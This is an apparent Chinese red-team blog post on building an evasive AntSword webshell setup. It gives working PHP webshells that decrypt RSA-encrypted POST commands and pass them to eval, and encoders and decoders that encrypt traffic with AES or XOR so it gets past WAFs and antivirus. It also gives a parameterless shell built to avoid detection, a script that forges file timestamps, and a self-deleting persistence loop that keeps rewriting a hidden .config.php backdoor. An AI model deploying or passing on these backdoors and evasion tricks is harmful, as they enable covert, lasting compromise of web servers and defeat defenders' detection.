从0到1打造一款堪称完美antSword(蚁剑)

0x0 前言

  很久之前,自己写了一篇从静态到动态打造一款免杀的antSword(蚁剑),然后其他师傅提出了很多我没有考虑到的问题,正巧最近我也遇到这个问题,然后debug+查阅了相关文章,这里我将自己的流程记录下来,方便读者学习。

0x1 蚁剑组件介绍

1.发包方式

蚁剑除了常规的get post发包之外,还有用于绕waf的表单发包,以及最新的分块传输(不稳定)

对于性能低的waf有很好的免疫效果,默认放行。

2.编码器

用于对请求包进行解码

3.解码器

主要用于对返回数据包进行解码

4.插件模块

开发及其参考链接

我们可以利用插件进行一些连动,比如自动上传提权脚本等之类的东西

0x2 下载一些前置文件

1.shell脚本大全

git clone https://github.com/AntSwordProject/AwesomeScript.git

2.编码器大全

git clone https://github.com/AntSwordProject/AwesomeEncoder.git

3.安装前端加密库crypto-js

npm install crypto-js

0x3 简单了解蚁剑的结构

核心文件主要在source目录下

# $ tree -l 1 -d ./
── base
├── core
│   ├── asp
│   │   ├── decoder
│   │   ├── encoder
│   │   └── template
│   │       └── database
│   ├── aspx
│   │   ├── decoder
│   │   ├── encoder
│   │   └── template
│   │       └── database
│   ├── custom
│   │   ├── decoder
│   │   ├── encoder
│   │   └── template
│   │       └── database
│   ├── php
│   │   ├── decoder
│   │   ├── encoder
│   │   └── template
│   │       └── database
│   └── php4
├── language
├── modules
│   ├── database
│   │   ├── asp
│   │   ├── aspx
│   │   ├── custom
│   │   └── php
│   ├── filemanager
│   ├── plugin
│   ├── settings
│   ├── shellmanager
│   │   ├── category
│   │   └── list
│   ├── terminal
│   └── viewsite
└── ui
  1. base文件夹

    (1)检测编码方式然后选择合适的解码

    (2)utils存放了一些随机方法

    (3)word.js存放了最新的单词变量列表

  2. core

    这是核心代码文件夹

    ├── index.js

    ├── base.js

    ├── php
    │ ├── decoder
    │ │ ├── base64.js
    │ │ ├── default.js
    │ │ └── rot13.js
    │ ├── encoder
    │ │ ├── base64.js
    │ │ ├── chr.js
    │ │ ├── chr16.js
    │ │ └── rot13.js

    ...................

    根据语言类别有不同的实现方式,下面我们就针对php来分析下

  3. 其他

    基础代码,这里就略过了

0x4 core部分源码浅析

  作者的开发习惯相当好,从注释中我们就能看出相应的函数功能。

source/code目录为核心的代码目录

index.js 加载模块

base.js 加载配置和集成了一些方法,比较重要的有请求中间件返回处理方法

解密返回包

加密模版

这里就是解析模版

command.js 的模版

我们可以看到命令执行的模版其实就是对应上面那个arg生成和处理部分,这就是为什么会有xz师傅提到的原因啦,后来蚁剑作者也给出了方案,只是很多人不会用而已,下面看我怎么操作的吧。

0x5 打造一款流量全加密的RSAshell

笔者现在是最新版v2.1.7,不得不说,作者真的是一个无可挑剔的开发者,支持本地直接更新代码。

流量加密RSAshell

优点:

1.请求包采用rsa非对称加密方式可以有效防止别人窃取shell,而且可以添加时间间隔,阻止别人流量劫持

2.返回包采用aes 动态对称加密有效免疫waf检测

》〉下面其实主要是蚁剑的可选功能

3.采用蚁剑自带的随机参数,有效过掉waf拦截0x等类型的规则

4.可以选用multipart发包方式,分块传输等方式考验waf的性能。

缺点:

1.对hook关键函数然后匹配行为、机器学习等新型waf没有效果

2.需要openssl扩展

3.shell体积有点大,比较明显,不好隐藏

首先我们生成rsa配置

这里我们就可以得到我们的公钥、私钥以及我们的phpshell,非常方便

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC9BPAAA3EgNhVX9x5kjXwwbrA
AJSSl46CsjcloOjytsQZoR/Tn0QxI/sCaHJ23/DLviDbhZbYh3aJjXDLrGJXnQvx
BUj1a/YZDq/ZqlibffV54ljOhh6A/IIk6KmXXZBETA9GxI32vqDfqvbnuzyZMWvT
ShEmTzwYh4qW53cN+wIDAQAB
-----END PUBLIC KEY-----

-----BEGIN RSA PRIVATE KEY-----
xxxxxxxxx
-----END RSA PRIVATE KEY-----
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC9BPAAA3EgNhVX9x5kjXwwbrA
AJSSl46CsjcloOjytsQZoR/Tn0QxI/sCaHJ23/DLviDbhZbYh3aJjXDLrGJXnQvx
BUj1a/YZDq/ZqlibffV54ljOhh6A/IIk6KmXXZBETA9GxI32vqDfqvbnuzyZMWvT
ShEmTzwYh4qW53cN+wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
eval($cmd);

这个木马肯定是被杀的,我们可以稍微处理下过掉D盾和安全狗,后面我会贴上代码。

然后我们新建个RSA的编码器

点击编辑就可以查看到代码

/**
 * php::RSA编码器
 * Create at: 2019/11/04 11:04:42
 */

'use strict';

/*
 * @param  {String} pwd   连接密码
 * @param  {Array}  data  编码器处理前的 payload 数组
 * @return {Array}  data  编码器处理后的 payload 数组
 */
module.exports = (pwd, data, ext={}) => {
    let n = Math.ceil(data['_'].length / 80);
    let l = Math.ceil(data['_'].length / n);
    let r = []
    for (var i = 0; n > i; i++) {
        r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64'));
    }
    data[pwd] = r.join("|");
    delete data['_'];
    return data;
}

// 这里可以学习学蚁致用添加个时间戳 
data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;
//来限制存活时间,但是我个人感觉不是很好,因为时区可能不同。
//我的想法是用个第三方api来判断,需要的时候就开启,打完就关闭。
//或者还是从时间出发,做个类似token获取的东西。执行之前先访问得到token,然后shell端验证。

然后我们先测试下能否成功连接了,记得看burp代理抓下流量包。

1.编码器选择rsa
2.其他设置勾选使用随机英文单词变量,使用multipart发包
3.蚁剑代理设置为burp代理

但是我们执行命令的时候,只是简单进行了一下base64的编码,加上经典的antsowrd UA特征,无疑会被waf标志。

去除UA,很简单,之前我的文章已经介绍了。

参考https://xz.aliyun.com/t/4000#toc-4

我这里的UA是: antSword/v2.1

这里我为了应对各种情况,比如有时候有些网站会禁止爬虫的UA,所以我这里加了个动态UA

之前我写的那篇文章有个师傅提出来返回包检测的问题,我当时因为在忙其他事情,没时间处理,这里表示下歉意,后来看到师傅自己研究了一波,这里我就做个修饰吧,首先我们要用到蚁剑自带的解码器功能。

网上有一些关于aes的解码器,不过有点依赖性,依赖扩展openssl_encrypt,这里的话其实我们可以自写一个异或加密算法。

下面是我的代码,我个人觉得动态密钥没啥必要,直接来个随机数就行了,简单快捷。

然后写一个异或加密就没滋滋了,这里分享下我的编写过程,所谓授人予鱼不如授人以渔。

如果你没有编程基础,建议先去学习下基础内容Node.js

$ node 进入终端环境
> var crypto = require("crypto");
> function encryptText(keyStr, text) {
...   keyStr = keyStr.split("").map(t => t.charCodeAt(0));
...   let cipher = text.split("").map(t => t.charCodeAt(0));
...   for( let i = 0; i < cipher.length; i++){
.....     cipher[i] = cipher[i] ^ key[i%32];
.....   }
...   cipher = cipher.map(t=>String.fromCharCode(t)).join("");
...   return cipher
... }
undefined
> var key = crypto.randomBytes(32).toString('hex');
undefined
> encryptText(key, "我爱你23".toString());
'我爱佧73'

不过这个运行起来有问题,解决中文乱码其实很简单,把中文base64_encode在解码就好了。

'use strict';

function randomRange(min, max){
    var returnStr = "",
        range = (max ? Math.round(Math.random() * (max-min)) + min : min),
        charStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    for(var i=0; i<range; i++){
        var index = Math.round(Math.random() * (charStr.length-1));
        returnStr += charStr.substring(index,index+1);
    }
    return returnStr;
}
// 生成动态key

var key = randomRange(32,32);

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   * 自定义输出函数名称必须为 asenc
   * 该函数使用的语法需要和shell保持一致
   */
  asoutput: () => {
    return `function asenc($out){
      $key=${key};
      $out =  base64_encode($out);
      $crytxt = '';
      $keylen = strlen($key);
      for($i=0;$i<strlen($out);$i++)
      {
       $k = $i%$keylen;
       $crytxt .= $out[$i] ^ $key[$k];
      }
      return @base64_encode($crytxt);
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解码 Buffer
   * @param {string} data 要被解码的 Buffer
   * @returns {string} 解码后的 Buffer
   */
  decode_buff: (data, ext={}) => {
    function xor_enc(str, key) {
      str =Buffer.from(data.toString(), 'base64').toString();
      var crytxt = '';
      var k, keylen = key.length;
      for(var i=0; i<str.length; i++) {
        k = i % keylen;
        crytxt += String.fromCharCode(str.charCodeAt(i) ^ key.charCodeAt(k));
      }
      return Buffer.from(crytxt.toString(), 'base64').toString();
      // return crytxt;
    }
    return xor(data, key);
  }
}

我这个不知道为什么没办法解密,gg,师傅们可以研究下这个思路.....

这里附送个我修改的aes_256动态密钥加密(这个是我比较常用的,因为一般php默认都开启了openssl扩展)

/**
 * php::aes-256-cfb (zeroPadding) 解码器
 * Create at: 2019/05/12 15:43:55
 */

'use strict';
const path = require('path');
var CryptoJS = require(path.join(window.antSword.remote.process.env.AS_WORKDIR, 'node_modules/crypto-js'));

function randomRange(min, max){
    var returnStr = "",
        range = (max ? Math.round(Math.random() * (max-min)) + min : min),
        charStr = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    for(var i=0; i<range; i++){
        var index = Math.round(Math.random() * (charStr.length-1));
        returnStr += charStr.substring(index,index+1);
    }
    return returnStr;
}
// 生成动态32位动态key
var key = randomRange(32,32);

function decryptText(keyStr, text) {
  let buff = Buffer.alloc(32, 'a');
  buff.write(keyStr,0);
  keyStr = buff.toString();
  let decodetext = CryptoJS.AES.decrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
    iv: CryptoJS.enc.Utf8.parse(keyStr),
    mode: CryptoJS.mode.CFB,
    padding: CryptoJS.pad.ZeroPadding
  }).toString(CryptoJS.enc.Utf8);
  return decodetext;
}

function encryptText(keyStr, text) {
  let buff = Buffer.alloc(32, 'a');
  buff.write(keyStr,0);
  keyStr = buff.toString();
  let encodetext = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(keyStr), {
    iv: CryptoJS.enc.Utf8.parse(keyStr),
    mode: CryptoJS.mode.CFB,
    padding: CryptoJS.pad.ZeroPadding,
  }).toString();
  return encodetext;
}

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   * 自定义输出函数名称必须为 asenc
   * 该函数使用的语法需要和shell保持一致
   */
  asoutput: () => {
    return `function asenc($out){
      $key=${key};
      $iv=$key;
      return @base64_encode(openssl_encrypt(base64_encode($out), "AES-256-CFB", $key,OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING, $iv));
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解码字符串
   * @param {string} data 要被解码的字符串
   * @returns {string} 解码后的字符串
   */
  decode_str: (data, ext={}) => {
    if(data.length === 0) {
      return data;
    }
    let ret = decryptText(key, data);
    return Buffer.from(ret, 'base64').toString();
  },
  /**
   * 解码 Buffer
   * @param {string} data 要被解码的 Buffer
   * @returns {string} 解码后的 Buffer
   */
  decode_buff: (data, ext={}) => {
    if(data.length === 0) {
      return data;
    }
    return Buffer.from(decryptText(key, Buffer.from(data).toString()), 'base64');
  }
}

0x5.1 加密其他参数

/**
 * php::RSA编码器
 * Create at: 2019/11/04 11:04:42
 */

'use strict';

/*
 * @param  {String} pwd   连接密码
 * @param  {Array}  data  编码器处理前的 payload 数组
 * @return {Array}  data  编码器处理后的 payload 数组
 */
module.exports = (pwd, data, ext={}) => {
    data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;
    let n = Math.ceil(data['_'].length / 80);
    let l = Math.ceil(data['_'].length / n);
    let r = []
    for (var i = 0; n > i; i++) {
        r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64'));
    }
    data[pwd] = r.join("|");
    delete data['_'];
    return data;
}

这是我们的rsa编码器,我们稍微修改下,可以去加密其他参数。

/**
 * php::RSA编码器
 * Create at: 2019/11/04 11:04:42
 */

'use strict';

/*
 * @param  {String} pwd   连接密码
 * @param  {Array}  data  编码器处理前的 payload 数组
 * @return {Array}  data  编码器处理后的 payload 数组
 */
module.exports = (pwd, data, ext={}) => {
    let ret = {};
    for (let _ in data) {
      if (_ === '_') { continue };
      ret[_] = ext['rsa'].encryptPrivate(data[_], 'base64')
    }
    data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`;
    let n = Math.ceil(data['_'].length / 80);
    let l = Math.ceil(data['_'].length / n);
    let r = []
    for (var i = 0; n > i; i++) {
        r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64'));
    }
    ret[pwd] = r.join("|");
    delete data['_'];
    return ret;
}

对应的shell脚本:

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC9BPAAA3EgNhVX9x5kjXwwbrA
AJSSl46CsjcloOjytsQZoR/Tn0QxI/sCaHJ23/DLviDbhZbYh3aJjXDLrGJXnQvx
BUj1a/YZDq/ZqlibffV54ljOhh6A/IIk6KmXXZBETA9GxI32vqDfqvbnuzyZMWvT
ShEmTzwYh4qW53cN+wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
foreach($_POST as $k => $v){
    if (openssl_public_decrypt(base64_decode($v), $de, $pk)) {
       $_POST[$k]=$de;
  }
}
eval($cmd);

0x6 无特征无参数免杀处理

如果不改动,这个shell肯定会被杀的

这个免杀思路其实很多。 最近t00ls看到一个很有趣的点,简直和rsa是天配。

下面是我修改的shell(至于原理自己琢磨下)

<?php
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC9BPAAA3EgNhVX9x5kjXwwbrA
AJSSl46CsjcloOjytsQZoR/Tn0QxI/sCaHJ23/DLviDbhZbYh3aJjXDLrGJXnQvx
BUj1a/YZDq/ZqlibffV54ljOhh6A/IIk6KmXXZBETA9GxI32vqDfqvbnuzyZMWvT
ShEmTzwYh4qW53cN+wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", reset(get_defined_vars()[@_POST]));
$pk = openssl_pkey_get_public($pk);
$cmd = "";
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
eval($cmd);

这个shell是无密码的,所以绕过了很多waf回溯参数的规则,至于怎么跟上面结合起来用,其实也很简单,也能更加精简代码,欢迎师傅们找我一起交流。

0x7 自动化隐蔽后门实现

这里我只是说下自己比较常用的一些点,我比较喜欢修改文件时间,然后写个比较常规的名字,然后用隐藏文件。

0x7.1 修改文件时间代码

<?php
// var_dump());
try {
    $file = scandir($_SERVER['DOCUMENT_ROOT']);
    foreach ($file as $name) {
        if(@filectime($name)){
            //change time
            var_dump(filectime($name));
            var_dump($name);
            var_dump(@filectime(__FILE__));
            touch(__FILE__,filectime($name));
            touch($name,@filectime(__FILE__));
            var_dump(@filectime(__FILE__));
            break;
        }
    }
} catch (Exception $e) {
    echo "config is wrong!";
}

0x7.2 利用内存木马自动部署

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
$shell =  '<?php
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCC9BPAAA3EgNhVX9x5kjXwwbrA
AJSSl46CsjcloOjytsQZoR/Tn0QxI/sCaHJ23/DLviDbhZbYh3aJjXDLrGJXnQvx
BUj1a/YZDq/ZqlibffV54ljOhh6A/IIk6KmXXZBETA9GxI32vqDfqvbnuzyZMWvT
ShEmTzwYh4qW53cN+wIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", reset(get_defined_vars()[@_POST]));
$pk = openssl_pkey_get_public($pk);
$cmd = "";
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
eval($cmd);';
while(1){
    if(file_exists(".config.php")){
        try {
            system('chmod 777 .config.php');
            $file = scandir($_SERVER['DOCUMENT_ROOT']);
            foreach ($file as $name) {
                if(@filectime($name)){
                    touch(".config.php", @filectime($name));
                    break;
                }
            }
        } catch (Exception $e) {
            echo "config is wrong!";
        }
    }else{
        //sleep some time
        sleep(3600*60);
        file_put_contents('.config.php',$shell);
        }
}

0x8 一些小想法

  上面那些点其实大部分都是别人的东西,我只不过集合起来,然后抛砖引玉罢了。 关于后门这块,我之前有研究过关于底层的一些想法,但是真实环境其实更多是低权限下通过shell来维持,欢迎师傅们找我一起交流关于红队攻防或者后门或者攻击自动化的一些想法。

TODO 附上自己一直在写关于红队建设文章的目录:

0x9 参考链接

WAF拦了蚁剑发送的其它参数时怎么操作

蚁剑绕WAF进化图鉴

关于对antSword(蚁剑)进行流量混淆处理的解决方案

蚁剑实现动态秘钥编码器解码器

从0到1掌握AWD攻防之RSA必杀

蚁剑客户端RCE挖掘过程及源码分析

点击收藏 | 14 关注 | 5
登录 后跟帖